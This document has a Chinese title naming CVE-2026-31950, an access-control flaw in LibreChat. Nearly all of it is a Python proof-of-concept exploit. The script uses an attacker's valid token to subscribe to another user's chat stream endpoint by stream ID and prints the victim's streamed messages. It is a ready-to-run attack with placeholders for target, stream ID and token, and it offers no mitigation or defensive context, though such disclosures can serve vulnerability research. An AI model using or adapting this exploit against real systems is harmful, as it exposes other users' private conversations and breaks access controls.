CVE-2026-31950 LibreChat越权读取聊天漏洞

import requests # Exploit for CVE-2026-31950: LibreChat IDOR in Stream Endpoint # This script demonstrates how an authenticated user can access another user's chat stream. def exploit(target_url, victim_stream_id, attacker_token): # Construct the malicious URL stream_url = f"{target_url}/api/agents/chat/stream/{victim_stream_id}" headers = { "Authorization": f"Bearer {attacker_token}", "Accept": "text/event-stream" } print(f"[*] Attempting to subscribe to stream ID: {victim_stream_id}") try: # Send the request with streaming enabled response = requests.get(stream_url, headers=headers, stream=True) if response.status_code == 200: print("[+] Connection established. Receiving data...") for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') print(decoded_line) else: print(f"[-] Failed to connect. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:3080" # Replace with actual target STREAM_ID = "guessable-stream-id-123" # Victim's stream ID TOKEN = "attacker_jwt_token_here" # Attacker's valid session token exploit(TARGET, STREAM_ID, TOKEN)